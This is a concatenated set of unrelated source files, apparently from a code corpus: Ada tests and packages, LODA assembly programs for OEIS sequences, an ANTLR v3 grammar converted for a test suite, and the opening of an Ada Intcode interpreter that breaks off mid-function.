-- { dg-do run } -- { dg-options "-O" } with Array27_Pkg; use Array27_Pkg; procedure Array27 is function Get return Outer_type is Ret : Outer_Type; begin Ret (Inner_Type'Range) := F; return Ret; end; A : Outer_Type := Get; B : Inner_Type := A (Inner_Type'Range); begin if B /= "123" then raise Program_Error; end if; end;
oeis/049/A049397.asm
neoneye/loda-programs
11
19026
; A049397: Expansion of (1-25*x)^(-9/5). ; Submitted by <NAME> ; 1,45,1575,49875,1496250,43391250,1229418750,34248093750,941822578125,25638503515625,692239594921875,18564607318359375,495056195156250000,13138029794531250000,347219358855468750000,9143443116527343750000,240015381808842773437500,6282755582643237304687500,164049729102351196289062500,4273927152929675903320312500,111122105976171573486328125000,2883883226524452740478515625000,74718792687224457366943359375000,1932942680386893571014404296875000,49934352576661417251205444335937500 add $0,1 mov $2,$0 seq $0,49382 ; Expansion of (1-25*x)^(-4/5). mul $2,$0 mov $0,$2 div $0,20
_tests/trconvert/antlr3/Antlr3.g4
SKalt/Domemtech.Trash
16
4997
/* [The "BSD license"] Copyright (c) 2005-2011 <NAME> All rights reserved. Grammar conversion to ANTLR v3: Copyright (c) 2011 <NAME> All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. The name of the author may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /** Read in an ANTLR grammar and build an AST. Try not to do * any actions, just build the tree. * * The phases are: * * antlr.g (this file) * assign.types.g * define.g * buildnfa.g * antlr.print.g (optional) * codegen.g * * <NAME> * University of San Francisco * 2005 */ grammar ANTLR; options { language=Java; } tokens { //OPTIONS='options'; //TOKENS='tokens'; LEXER, PARSER, CATCH, FINALLY, GRAMMAR, PRIVATE, PROTECTED, PUBLIC, RETURNS, THROWS, TREE, RULE, PREC_RULE, RECURSIVE_RULE_REF, // flip recursive RULE_REF to RECURSIVE_RULE_REF in prec rules BLOCK, OPTIONAL, CLOSURE, POSITIVE_CLOSURE, SYNPRED, RANGE, CHAR_RANGE, EPSILON, ALT, EOR, EOB, EOA, // end of alt ID, ARG, ARGLIST, RET, LEXER_GRAMMAR, PARSER_GRAMMAR, TREE_GRAMMAR, COMBINED_GRAMMAR, INITACTION, FORCED_ACTION, // {{...}} always exec even during syn preds LABEL, // $x used in rewrite rules TEMPLATE, SCOPE, IMPORT, GATED_SEMPRED, // {p}? => SYN_SEMPRED, // (...) => it's a manually-specified synpred converted to sempred BACKTRACK_SEMPRED, // auto backtracking mode syn pred converted to sempred FRAGMENT, DOT, REWRITES } @lexer::header { package org.antlr.grammar.v3; import org.antlr.tool.ErrorManager; import org.antlr.tool.Grammar; } @parser::header { package org.antlr.grammar.v3; import org.antlr.tool.ErrorManager; import org.antlr.tool.Grammar; import org.antlr.tool.GrammarAST; import org.antlr.misc.IntSet; import org.antlr.tool.Rule; } @lexer::members { public boolean hasASTOperator = false; private String fileName; public String getFileName() { return fileName; } public void setFileName(String value) { fileName = value; } @Override public Token nextToken() { Token token = super.nextToken(); while (token.getType() == STRAY_BRACKET) { ErrorManager.syntaxError( ErrorManager.MSG_SYNTAX_ERROR, null, token, "antlr: dangling ']'? make sure to escape with \\]", null); // skip this token token = super.nextToken(); } return token; } } @parser::members { protected String currentRuleName = null; protected GrammarAST currentBlockAST = null; protected boolean atTreeRoot; // are we matching a tree root in tree grammar? public static ANTLRParser createParser(TokenStream input) { ANTLRParser parser = new ANTLRParser(input); parser.adaptor = new grammar_Adaptor(parser); return parser; } private static class GrammarASTErrorNode extends GrammarAST { public IntStream input; public Token start; public Token stop; public RecognitionException trappedException; public GrammarASTErrorNode(TokenStream input, Token start, Token stop, RecognitionException e) { super(stop); //Console.Out.WriteLine( "start: " + start + ", stop: " + stop ); if ( stop == null || ( stop.getTokenIndex() < start.getTokenIndex() && stop.getType() != Token.EOF) ) { // sometimes resync does not consume a token (when LT(1) is // in follow set. So, stop will be 1 to left to start. adjust. // Also handle case where start is the first token and no token // is consumed during recovery; LT(-1) will return null. stop = start; } this.input = input; this.start = start; this.stop = stop; this.trappedException = e; } @Override public boolean isNil() { return false; } @Override public String getText() { String badText = null; if (start != null) { int i = start.getTokenIndex(); int j = stop.getTokenIndex(); if (stop.getType() == Token.EOF) { j = input.size(); } badText = ((TokenStream)input).toString(i, j); } else { // people should subclass if they alter the tree type so this // next one is for sure correct. badText = "<unknown>"; } return badText; } @Override public void setText(String value) { } @Override public int getType() { return Token.INVALID_TOKEN_TYPE; } @Override public void setType(int value) { } @Override public String toString() { if (trappedException instanceof MissingTokenException) { return "<missing type: " + ( (MissingTokenException)trappedException ).getMissingType() + ">"; } else if (trappedException instanceof UnwantedTokenException) { return "<extraneous: " + ( (UnwantedTokenException)trappedException ).getUnexpectedToken() + ", resync=" + getText() + ">"; } else if (trappedException instanceof MismatchedTokenException) { return "<mismatched token: " + trappedException.token + ", resync=" + getText() + ">"; } else if (trappedException instanceof NoViableAltException) { return "<unexpected: " + trappedException.token + ", resync=" + getText() + ">"; } return "<error: " + getText() + ">"; } } static class grammar_Adaptor extends CommonTreeAdaptor { ANTLRParser _outer; public grammar_Adaptor(ANTLRParser outer) { _outer = outer; } @Override public Object create(Token payload) { GrammarAST t = new GrammarAST( payload ); if (_outer != null) t.enclosingRuleName = _outer.currentRuleName; return t; } @Override public Object errorNode(TokenStream input, Token start, Token stop, RecognitionException e) { GrammarAST t = new GrammarASTErrorNode(input, start, stop, e); if (_outer != null) t.enclosingRuleName = _outer.currentRuleName; return t; } } private Grammar grammar; private int grammarType; private String fileName; public Grammar getGrammar() { return grammar; } public void setGrammar(Grammar value) { grammar = value; } public int getGrammarType() { return grammarType; } public void setGrammarType(int value) { grammarType = value; } public String getFileName() { return fileName; } public void setFileName(String value) { fileName = value; } private final int LA(int i) { return input.LA( i ); } private final Token LT(int k) { return input.LT( k ); } /*partial void createTreeAdaptor(ref ITreeAdaptor adaptor) { adaptor = new grammar_Adaptor(this); }*/ protected GrammarAST setToBlockWithSet(GrammarAST b) { /* * alt = ^(ALT["ALT"] {b} EOA["EOA"]) * prefixWithSynpred( alt ) * return ^(BLOCK["BLOCK"] {alt} EOB["<end-of-block>"]) */ GrammarAST alt = (GrammarAST)adaptor.create(ALT, "ALT"); adaptor.addChild(alt, b); adaptor.addChild(alt, adaptor.create(EOA, "<end-of-alt>")); prefixWithSynPred(alt); GrammarAST block = (GrammarAST)adaptor.create(BLOCK, b.getToken(), "BLOCK"); adaptor.addChild(block, alt); adaptor.addChild(alt, adaptor.create(EOB, "<end-of-block>")); return block; } /** Create a copy of the alt and make it into a BLOCK; all actions, * labels, tree operators, rewrites are removed. */ protected GrammarAST createBlockFromDupAlt(GrammarAST alt) { /* * ^(BLOCK["BLOCK"] {GrammarAST.dupTreeNoActions(alt)} EOB["<end-of-block>"]) */ GrammarAST nalt = GrammarAST.dupTreeNoActions(alt, null); GrammarAST block = (GrammarAST)adaptor.create(BLOCK, alt.getToken(), "BLOCK"); adaptor.addChild( block, nalt ); adaptor.addChild( block, adaptor.create( EOB, "<end-of-block>" ) ); return block; } /** Rewrite alt to have a synpred as first element; * (xxx)=&gt;xxx * but only if they didn't specify one manually. */ protected void prefixWithSynPred( GrammarAST alt ) { // if they want backtracking and it's not a lexer rule in combined grammar String autoBacktrack = (String)grammar.getBlockOption( currentBlockAST, "backtrack" ); if ( autoBacktrack == null ) { autoBacktrack = (String)grammar.getOption( "backtrack" ); } if ( autoBacktrack != null && autoBacktrack.equals( "true" ) && !( grammarType == Grammar.COMBINED && Rule.getRuleType(currentRuleName) == Grammar.LEXER) && alt.getChild( 0 ).getType() != SYN_SEMPRED ) { // duplicate alt and make a synpred block around that dup'd alt GrammarAST synpredBlockAST = createBlockFromDupAlt( alt ); // Create a BACKTRACK_SEMPRED node as if user had typed this in // Effectively we replace (xxx)=>xxx with {synpredxxx}? xxx GrammarAST synpredAST = createSynSemPredFromBlock( synpredBlockAST, BACKTRACK_SEMPRED ); // insert BACKTRACK_SEMPRED as first element of alt //synpredAST.getLastSibling().setNextSibling( alt.getFirstChild() ); //synpredAST.addChild( alt.getFirstChild() ); //alt.setFirstChild( synpredAST ); GrammarAST[] children = alt.getChildrenAsArray(); adaptor.setChild( alt, 0, synpredAST ); for ( int i = 0; i < children.length; i++ ) { if ( i < children.length - 1 ) adaptor.setChild( alt, i + 1, children[i] ); else adaptor.addChild( alt, children[i] ); } } } protected GrammarAST createSynSemPredFromBlock( GrammarAST synpredBlockAST, int synpredTokenType ) { // add grammar fragment to a list so we can make fake rules for them later. String predName = grammar.defineSyntacticPredicate( synpredBlockAST, currentRuleName ); // convert (alpha)=> into {synpredN}? where N is some pred count // during code gen we convert to function call with templates String synpredinvoke = predName; GrammarAST p = (GrammarAST)adaptor.create( synpredTokenType, synpredinvoke ); // track how many decisions have synpreds grammar.blocksWithSynPreds.add( currentBlockAST ); return p; } public static GrammarAST createSimpleRuleAST( String name, GrammarAST block, boolean fragment ) { TreeAdaptor adaptor = new grammar_Adaptor(null); GrammarAST modifier = null; if ( fragment ) { modifier = (GrammarAST)adaptor.create( FRAGMENT, "fragment" ); } /* * EOBAST = block.getLastChild() * ^(RULE[block,"rule"] ID["name"] {modifier} ARG["ARG"] RET["RET"] SCOPE["scope"] {block} EOR[EOBAST,"<end-of-rule>"]) */ GrammarAST rule = (GrammarAST)adaptor.create( RULE, block.getToken(), "rule" ); adaptor.addChild( rule, adaptor.create( ID, name ) ); if ( modifier != null ) adaptor.addChild( rule, modifier ); adaptor.addChild( rule, adaptor.create( ARG, "ARG" ) ); adaptor.addChild( rule, adaptor.create( RET, "RET" ) ); adaptor.addChild( rule, adaptor.create( SCOPE, "scope" ) ); adaptor.addChild( rule, block ); adaptor.addChild( rule, adaptor.create( EOR, block.getLastChild().getToken(), "<end-of-rule>" ) ); return rule; } @Override public void reportError(RecognitionException ex) { //Token token = null; //try //{ // token = LT( 1 ); //} //catch ( TokenStreamException tse ) //{ // ErrorManager.internalError( "can't get token???", tse ); //} Token token = ex.token; ErrorManager.syntaxError( ErrorManager.MSG_SYNTAX_ERROR, grammar, token, "antlr: " + ex.toString(), ex ); } public void cleanup( GrammarAST root ) { if ( grammarType == Grammar.LEXER ) { String filter = (String)grammar.getOption( "filter" ); GrammarAST tokensRuleAST = grammar.addArtificialMatchTokensRule( root, grammar.lexerRuleNamesInCombined, grammar.getDelegateNames(), filter != null && filter.equals( "true" ) ); } } } public grammar_[Grammar g] @init { this.grammar = g; Map<String, Object> opts; } @after { cleanup( $tree ); } : //hdr:headerSpec ( ACTION )? ( cmt=DOC_COMMENT )? gr=grammarType gid=id {grammar.setName($gid.text);} SEMI ( optionsSpec {opts = $optionsSpec.opts; grammar.setOptions(opts, $optionsSpec.start);} )? (ig=delegateGrammars)? (ts=tokensSpec)? scopes=attrScopes (a=actions)? r=rules EOF ; grammarType : ( 'lexer' gr='grammar' {grammarType=Grammar.LEXER; grammar.type = Grammar.LEXER;} | 'parser' gr='grammar' {grammarType=Grammar.PARSER; grammar.type = Grammar.PARSER;} | 'tree' gr='grammar' {grammarType=Grammar.TREE_PARSER; grammar.type = Grammar.TREE_PARSER;} | gr='grammar' {grammarType=Grammar.COMBINED; grammar.type = Grammar.COMBINED;} ) ; actions : (action)+ ; /** Match stuff like @parser::members {int i;} */ action : AMPERSAND (actionScopeName COLON COLON)? id ACTION ; /** Sometimes the scope names will collide with keywords; allow them as * ids for action scopes. */ actionScopeName : id | l='lexer' | p='parser' ; optionsSpec returns [Map<String, Object> opts=new HashMap<String, Object>()] : OPTIONS (option[$opts] SEMI)+ RCURLY ; option[Map<String, Object> opts] : id ASSIGN optionValue { $opts.put($id.text, $optionValue.value); } ; optionValue returns [Object value = null] : x=id {$value = $x.text;} | s=STRING_LITERAL {String vs = $s.text; // remove the quotes: $value=vs.substring(1,vs.length()-1);} | c=CHAR_LITERAL {String vs = $c.text; // remove the quotes: $value=vs.substring(1,vs.length()-1);} | i=INT {$value = Integer.parseInt($i.text);} | ss=STAR {$value = "*";} // | cs:charSet {value = #cs;} // return set AST in this case ; delegateGrammars : 'import' delegateGrammar (COMMA delegateGrammar)* SEMI ; delegateGrammar : lab=id ASSIGN g=id {grammar.importGrammar($g.tree, $lab.text);} | g2=id {grammar.importGrammar($g2.tree,null);} ; tokensSpec : TOKENS tokenSpec* RCURLY ; tokenSpec : TOKEN_REF ( ASSIGN (STRING_LITERAL|CHAR_LITERAL) )? SEMI ; attrScopes : (attrScope)* ; attrScope : 'scope' id ruleActions? ACTION ; rules : ( rule )+ ; public rule @init { GrammarAST eob=null; CommonToken start = (CommonToken)LT(1); int startLine = LT(1).getLine(); } : ( ( d=DOC_COMMENT )? ( p1='protected' //{modifier=$p1.tree;} | p2='public' //{modifier=$p2.tree;} | p3='private' //{modifier=$p3.tree;} | p4='fragment' //{modifier=$p4.tree;} )? ruleName=id { currentRuleName=$ruleName.text; if ( grammarType==Grammar.LEXER && $p4==null ) grammar.lexerRuleNamesInCombined.add(currentRuleName); } ( BANG )? ( aa=ARG_ACTION )? ( 'returns' rt=ARG_ACTION )? ( throwsSpec )? ( optionsSpec )? scopes=ruleScopeSpec (ruleActions)? COLON ruleAltList[$optionsSpec.opts] SEMI ( ex=exceptionGroup )? ) { $tree.setTreeEnclosingRuleNameDeeply(currentRuleName); ((GrammarAST)$tree.getChild(0)).setBlockOptions($optionsSpec.opts); } ; ruleActions : (ruleAction)+ ; /** Match stuff like @init {int i;} */ ruleAction : AMPERSAND id ACTION ; throwsSpec : 'throws' id ( COMMA id )* ; ruleScopeSpec : ( 'scope' ruleActions? ACTION )? ( 'scope' idList SEMI )* ; ruleAltList[Map<String, Object> opts] @init { GrammarAST blkRoot = null; GrammarAST save = currentBlockAST; } : ( ) { blkRoot = (GrammarAST)$tree.getChild(0); blkRoot.setBlockOptions($opts); currentBlockAST = blkRoot; } ( a1=alternative r1=rewrite {if (LA(1)==OR||(LA(2)==QUESTION||LA(2)==PLUS||LA(2)==STAR)) prefixWithSynPred($a1.tree);} ) ( ( OR a2=alternative r2=rewrite {if (LA(1)==OR||(LA(2)==QUESTION||LA(2)==PLUS||LA(2)==STAR)) prefixWithSynPred($a2.tree);} )+ | ) ; finally { currentBlockAST = save; } /** Build #(BLOCK ( #(ALT ...) EOB )+ ) */ block @init { GrammarAST save = currentBlockAST; } : ( lp=LPAREN ) {currentBlockAST = (GrammarAST)$tree.getChild(0);} ( // 2nd alt and optional branch ambig due to // linear approx LL(2) issue. COLON ACTION // matched correctly in 2nd alt. (optionsSpec {((GrammarAST)$tree.getChild(0)).setOptions(grammar,$optionsSpec.opts);})? ( ruleActions )? COLON | ACTION COLON )? a=alternative r=rewrite { stream_alternative.add( $r.tree ); if ( LA(1)==OR || (LA(2)==QUESTION||LA(2)==PLUS||LA(2)==STAR) ) prefixWithSynPred($a.tree); } ( OR a=alternative r=rewrite { stream_alternative.add( $r.tree ); if (LA(1)==OR||(LA(2)==QUESTION||LA(2)==PLUS||LA(2)==STAR)) prefixWithSynPred($a.tree); } )* rp=RPAREN ; finally { currentBlockAST = save; } // ALT and EOA have indexes tracking start/stop of entire alt alternative : element+ | ; exceptionGroup : exceptionHandler+ finallyClause? | finallyClause ; exceptionHandler : 'catch' ARG_ACTION ACTION ; finallyClause : 'finally' ACTION ; element : elementNoOptionSpec ; elementNoOptionSpec @init { IntSet elements=null; } : ( id (ASSIGN|PLUS_ASSIGN) ( atom (sub=ebnfSuffix[root_0,false] {root_0 = $sub.tree;})? | ebnf ) | a=atom ( sub2=ebnfSuffix[$a.tree,false] {root_0=$sub2.tree;} )? | ebnf | FORCED_ACTION | ACTION | p=SEMPRED ( IMPLIES {$p.setType(GATED_SEMPRED);} )? { grammar.blocksWithSemPreds.add(currentBlockAST); } | t3=tree_ ) ; atom : range (ROOT|BANG)? | ( id w=WILDCARD (terminal|ruleref) {$w.setType(DOT);} | terminal | ruleref ) | notSet (ROOT|BANG)? ; ruleref : RULE_REF ARG_ACTION? (ROOT|BANG)? ; notSet : NOT ( notTerminal | block ) ; treeRoot @init{atTreeRoot=true;} @after{atTreeRoot=false;} : id (ASSIGN|PLUS_ASSIGN) (atom|block) | atom | block ; tree_ : TREE_BEGIN treeRoot element+ RPAREN ; /** matches ENBF blocks (and sets via block rule) */ ebnf : block ( QUESTION | STAR | PLUS | IMPLIES | ROOT | BANG | ) ; range : {Rule.getRuleType(currentRuleName) == Grammar.LEXER}? c1=CHAR_LITERAL RANGE c2=CHAR_LITERAL | // range elsewhere is an error ( t=TOKEN_REF r=RANGE TOKEN_REF | t=STRING_LITERAL r=RANGE STRING_LITERAL | t=CHAR_LITERAL r=RANGE CHAR_LITERAL ) { ErrorManager.syntaxError( ErrorManager.MSG_RANGE_OP_ILLEGAL,grammar,$r,null,null); } // have to generate something for surrounding code, just return first token ; terminal : cl=CHAR_LITERAL ( elementOptions[$cl.tree] )? (ROOT|BANG)? | tr=TOKEN_REF ( elementOptions[$tr.tree] )? ( ARG_ACTION )? // Args are only valid for lexer rules (ROOT|BANG)? | sl=STRING_LITERAL ( elementOptions[$sl.tree] )? (ROOT|BANG)? | wi=WILDCARD (ROOT|BANG)? { if ( atTreeRoot ) { ErrorManager.syntaxError( ErrorManager.MSG_WILDCARD_AS_ROOT,grammar,$wi,null,null); } } ; elementOptions[GrammarAST terminalAST] : OPEN_ELEMENT_OPTION defaultNodeOption[terminalAST] CLOSE_ELEMENT_OPTION | OPEN_ELEMENT_OPTION elementOption[terminalAST] (SEMI elementOption[terminalAST])* CLOSE_ELEMENT_OPTION ; defaultNodeOption[GrammarAST terminalAST] : elementOptionId {terminalAST.setTerminalOption(grammar,Grammar.defaultTokenOption,$elementOptionId.qid);} ; elementOption[GrammarAST terminalAST] : id ASSIGN ( elementOptionId {terminalAST.setTerminalOption(grammar,$id.text,$elementOptionId.qid);} | (t=STRING_LITERAL|t=DOUBLE_QUOTE_STRING_LITERAL|t=DOUBLE_ANGLE_STRING_LITERAL) {terminalAST.setTerminalOption(grammar,$id.text,$t.text);} ) ; elementOptionId returns [String qid] @init{StringBuffer buf = new StringBuffer();} : i=id {buf.append($i.text);} ('.' i=id {buf.append("." + $i.text);})* {$qid = buf.toString();} ; ebnfSuffix[GrammarAST elemAST, boolean inRewrite] @init { GrammarAST blkRoot=null; GrammarAST alt=null; GrammarAST save = currentBlockAST; } @after { currentBlockAST = save; } : ( ) { blkRoot = (GrammarAST)$tree.getChild(0); currentBlockAST = blkRoot; } ( ) { alt = (GrammarAST)$tree.getChild(0); if ( !inRewrite ) prefixWithSynPred(alt); } ( QUESTION | STAR | PLUS ) ; notTerminal : CHAR_LITERAL | TOKEN_REF | STRING_LITERAL ; idList : id (COMMA id)* ; id : TOKEN_REF | RULE_REF ; // R E W R I T E S Y N T A X rewrite : rewrite_with_sempred* REWRITE rewrite_alternative | ; rewrite_with_sempred : REWRITE SEMPRED rewrite_alternative ; rewrite_block : LPAREN rewrite_alternative RPAREN ; rewrite_alternative : {grammar.buildTemplate()}? rewrite_template | {grammar.buildAST()}? ( rewrite_element )+ | | {grammar.buildAST()}? ETC ; rewrite_element : ( t=rewrite_atom ) ( subrule=ebnfSuffix[$t.tree,true] )? | rewrite_ebnf | ( tr=rewrite_tree ) ( subrule=ebnfSuffix[$tr.tree,true] )? ; rewrite_atom : tr=TOKEN_REF elementOptions[$tr.tree]? ARG_ACTION? // for imaginary nodes | RULE_REF | cl=CHAR_LITERAL elementOptions[$cl.tree]? | sl=STRING_LITERAL elementOptions[$sl.tree]? | DOLLAR label // reference to a label in a rewrite rule | ACTION ; label : TOKEN_REF | RULE_REF ; rewrite_ebnf : b=rewrite_block ( QUESTION | STAR | PLUS ) ; rewrite_tree : TREE_BEGIN rewrite_atom rewrite_element* RPAREN ; /** Build a tree for a template rewrite: ^(TEMPLATE (ID|ACTION) ^(ARGLIST ^(ARG ID ACTION) ...) ) where ARGLIST is always there even if no args exist. ID can be "template" keyword. If first child is ACTION then it's an indirect template ref -> foo(a={...}, b={...}) -> ({string-e})(a={...}, b={...}) // e evaluates to template name -> {%{$ID.text}} // create literal template from string (done in ActionTranslator) -> {st-expr} // st-expr evaluates to ST */ public rewrite_template : // -> template(a={...},...) "..." {LT(1).getText().equals("template")}? // inline ( rewrite_template_head ) ( st=DOUBLE_QUOTE_STRING_LITERAL | st=DOUBLE_ANGLE_STRING_LITERAL ) { adaptor.addChild( $tree.getChild(0), adaptor.create($st) ); } | // -> foo(a={...}, ...) rewrite_template_head | // -> ({expr})(a={...}, ...) rewrite_indirect_template_head | // -> {...} ACTION ; /** -> foo(a={...}, ...) */ rewrite_template_head : id lp=LPAREN rewrite_template_args RPAREN ; /** -> ({expr})(a={...}, ...) */ rewrite_indirect_template_head : lp=LPAREN ACTION RPAREN LPAREN rewrite_template_args RPAREN ; rewrite_template_args : rewrite_template_arg (COMMA rewrite_template_arg)* | ; rewrite_template_arg : id a=ASSIGN ACTION ; ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // L E X E R // get rid of warnings: fragment STRING_LITERAL : ; fragment FORCED_ACTION : ; fragment DOC_COMMENT : ; fragment SEMPRED : ; WS : ( ' ' | '\t' | ('\r')? '\n' ) { $channel = HIDDEN; } ; COMMENT @init{List<Integer> type = new ArrayList<Integer>() {{ add(0); }};} : ( SL_COMMENT | ML_COMMENT[type] {$type = type.get(0);} ) { if ( $type != DOC_COMMENT ) $channel = HIDDEN; } ; fragment SL_COMMENT : '//' ( ' $ANTLR ' SRC (('\r')? '\n')? // src directive | ~('\r'|'\n')* (('\r')? '\n')? ) ; fragment ML_COMMENT[List<Integer> type] : '/*' .* '*/' ; OPEN_ELEMENT_OPTION : '<' ; CLOSE_ELEMENT_OPTION : '>' ; AMPERSAND : '@'; COMMA : ','; QUESTION : '?' ; TREE_BEGIN : '^(' ; LPAREN: '(' ; RPAREN: ')' ; COLON : ':' ; STAR: '*' ; PLUS: '+' ; ASSIGN : '=' ; PLUS_ASSIGN : '+=' ; IMPLIES : '=>' ; REWRITE : '->' ; SEMI: ';' ; ROOT : '^' {hasASTOperator=true;} ; BANG : '!' {hasASTOperator=true;} ; OR : '|' ; WILDCARD : '.' ; ETC : '...' ; RANGE : '..' ; NOT : '~' ; RCURLY: '}' ; DOLLAR : '$' ; STRAY_BRACKET : ']' ; CHAR_LITERAL : '\'' ( ESC | ~('\\'|'\'') )* '\'' { StringBuffer s = Grammar.getUnescapedStringFromGrammarStringLiteral($text); if ( s.length() > 1 ) { $type = STRING_LITERAL; } } ; DOUBLE_QUOTE_STRING_LITERAL @init { StringBuilder builder = new StringBuilder(); } : '"' {builder.append('"');} ( '\\' '"' {builder.append('"');} | '\\'~'"' {builder.append("\\" + (char)$c);} |~('\\'|'"') {builder.append((char)$c);} )* '"' {builder.append('"');} { setText(builder.toString()); } ; DOUBLE_ANGLE_STRING_LITERAL : '<<' .* '>>' ; fragment ESC : '\\' ( // due to the way ESC is used, we don't need to handle the following character in different ways /*'n' | 'r' | 't' | 'b' | 'f' | '"' | '\'' | '\\' | '>' | 'u' XDIGIT XDIGIT XDIGIT XDIGIT |*/ . // unknown, leave as it is ) ; fragment DIGIT : '0'..'9' ; fragment XDIGIT : '0' .. '9' | 'a' .. 'f' | 'A' .. 'F' ; INT : ('0'..'9')+ ; ARG_ACTION @init { List<String> text = new ArrayList<String>() {{ add(null); }}; } : '[' NESTED_ARG_ACTION[text] ']' {setText(text.get(0));} ; fragment NESTED_ARG_ACTION[List<String> text] @init { $text.set(0, ""); StringBuilder builder = new StringBuilder(); } : ( '\\' ']' | '\\'~(']') | ACTION_STRING_LITERAL | ACTION_CHAR_LITERAL |~('\\'|'"'|'\''|']') )* ; ACTION @init { int actionLine = getLine(); int actionColumn = getCharPositionInLine(); } : NESTED_ACTION ('?' {$type = SEMPRED;})? { String action = $text; int n = 1; // num delimiter chars if ( action.startsWith("{{") && action.endsWith("}}") ) { $type = FORCED_ACTION; n = 2; } action = action.substring(n,action.length()-n - ($type==SEMPRED ? 1 : 0)); setText(action); } ; fragment NESTED_ACTION : '{' ( NESTED_ACTION | ACTION_CHAR_LITERAL | COMMENT | ACTION_STRING_LITERAL | ACTION_ESC | ~('{'|'\''|'"'|'\\'|'}') )* '}' ; fragment ACTION_CHAR_LITERAL : '\'' ( ACTION_ESC | ~('\\'|'\'') )* '\'' ; fragment ACTION_STRING_LITERAL : '"' ( ACTION_ESC | ~('\\'|'"') )* '"' ; fragment ACTION_ESC : '\\\'' | '\\\"' | '\\' ~('\''|'"') ; TOKEN_REF : 'A'..'Z' ( 'a'..'z'|'A'..'Z'|'_'|'0'..'9' )* ; TOKENS : 'tokens' WS_LOOP '{' ; OPTIONS : 'options' WS_LOOP '{' ; // we get a warning here when looking for options '{', but it works right RULE_REF @init { int t=0; } : 'a'..'z' ('a'..'z' | 'A'..'Z' | '_' | '0'..'9')* ; fragment WS_LOOP : ( WS | COMMENT )* ; fragment WS_OPT : (WS)? ; /** Reset the file and line information; useful when the grammar * has been generated so that errors are shown relative to the * original file like the old C preprocessor used to do. */ fragment SRC : 'src' ' 'ACTION_STRING_LITERAL ' 'INT ; LEXER : 'lexer' ; PARSER : 'parser' ; CATCH : 'catch' ; FINALLY : 'finally' ; GRAMMAR : 'grammar' ; PRIVATE : 'private' ; PROTECTED : 'protected' ; PUBLIC : 'public' ; RETURNS : 'returns' ; THROWS : 'throws' ; TREE : 'tree' ; SCOPE : 'scope' ; IMPORT : 'import' ; FRAGMENT : 'fragment' ;
test/interaction/Highlighting/M.agda
alhassy/agda
3
1264
<reponame>alhassy/agda module Highlighting.M where
sources/ada_pretty-joins.adb
reznikmm/adaside
4
2398
<filename>sources/ada_pretty-joins.adb<gh_stars>1-10 -- Copyright (c) 2017 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT -- License-Filename: LICENSE ------------------------------------------------------------- package body Ada_Pretty.Joins is -------------- -- Document -- -------------- overriding function Document (Self : Join; Printer : not null access League.Pretty_Printers.Printer'Class; Pad : Natural) return League.Pretty_Printers.Document is pragma Unreferenced (Pad); Count : Positive := 1; Next : Node_Access := Self.Left; Max : Natural := Self.Right.Max_Pad; begin while Next.all in Join loop Count := Count + 1; Max := Natural'Max (Max, Join (Next.all).Right.Max_Pad); Next := Join (Next.all).Left; end loop; Max := Natural'Max (Max, Next.Max_Pad); declare List : Node_Access_Array (1 .. Count) := (others => Self.Right); begin List (Count) := Self.Right; Next := Self.Left; for J in reverse 1 .. Count - 1 loop List (J) := Join (Next.all).Right; Next := Join (Next.all).Left; end loop; return Next.Join (List, Max, Printer); end; end Document; -------------- -- New_Join -- -------------- function New_Join (Left : not null Node_Access; Right : not null Node_Access) return Node'Class is begin return Join'(Left, Right); end New_Join; end Ada_Pretty.Joins;
programs/oeis/021/A021928.asm
neoneye/loda
22
246280
<reponame>neoneye/loda<gh_stars>10-100 ; A021928: Decimal expansion of 1/924. ; 0,0,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1,0,8,2,2,5,1 add $0,1 mov $1,10 pow $1,$0 mul $1,7 div $1,6468 mod $1,10 mov $0,$1
lib/intcode.adb
jweese/Ada_Vent_19
1
9912
with Ada.Text_IO; with Intcode.Op; use Intcode.Op; package body Intcode is protected body Port is entry Put(I: in Memory.Value) when Status /= Full is begin if Status = Empty then Value := I; Status := Full; end if; end Put; entry Get(X: out Maybe_Memory_Value) when Status /= Empty is begin case Status is when Full => X := (Present => True, Value => Value); Status := Empty; when others => X := (Present => False); end case; end Get; entry Close when Status /= Full is begin Status := Closed; end Close; end Port; task body Executor is PC: Memory.Address := 0; Relative_Base: Memory.Value := 0; -- physical layer of memory: Peek/Poke function Peek(From: Memory.Address) return Memory.Value is begin if From in AM.Mem'Range then return AM.Mem(From); elsif AM.Aux_Mem.Contains(From) then return AM.Aux_Mem.Element(From); else return 0; end if; end Peek; procedure Poke(To: Memory.Address; Value: Memory.Value) is begin if To in AM.Mem'Range then AM.Mem(To) := Value; elsif AM.Aux_Mem.Contains(To) then AM.Aux_Mem.Replace(To, Value); else AM.Aux_Mem.Insert(To, Value); end if; end Poke; -- logical layer of memory: Read/Store function Read( From: Memory.Address; Mode: Parameter_Mode) return Memory.Value is V: constant Memory.Value := Peek(From); begin return (case Mode is when Immediate => V, when Position => 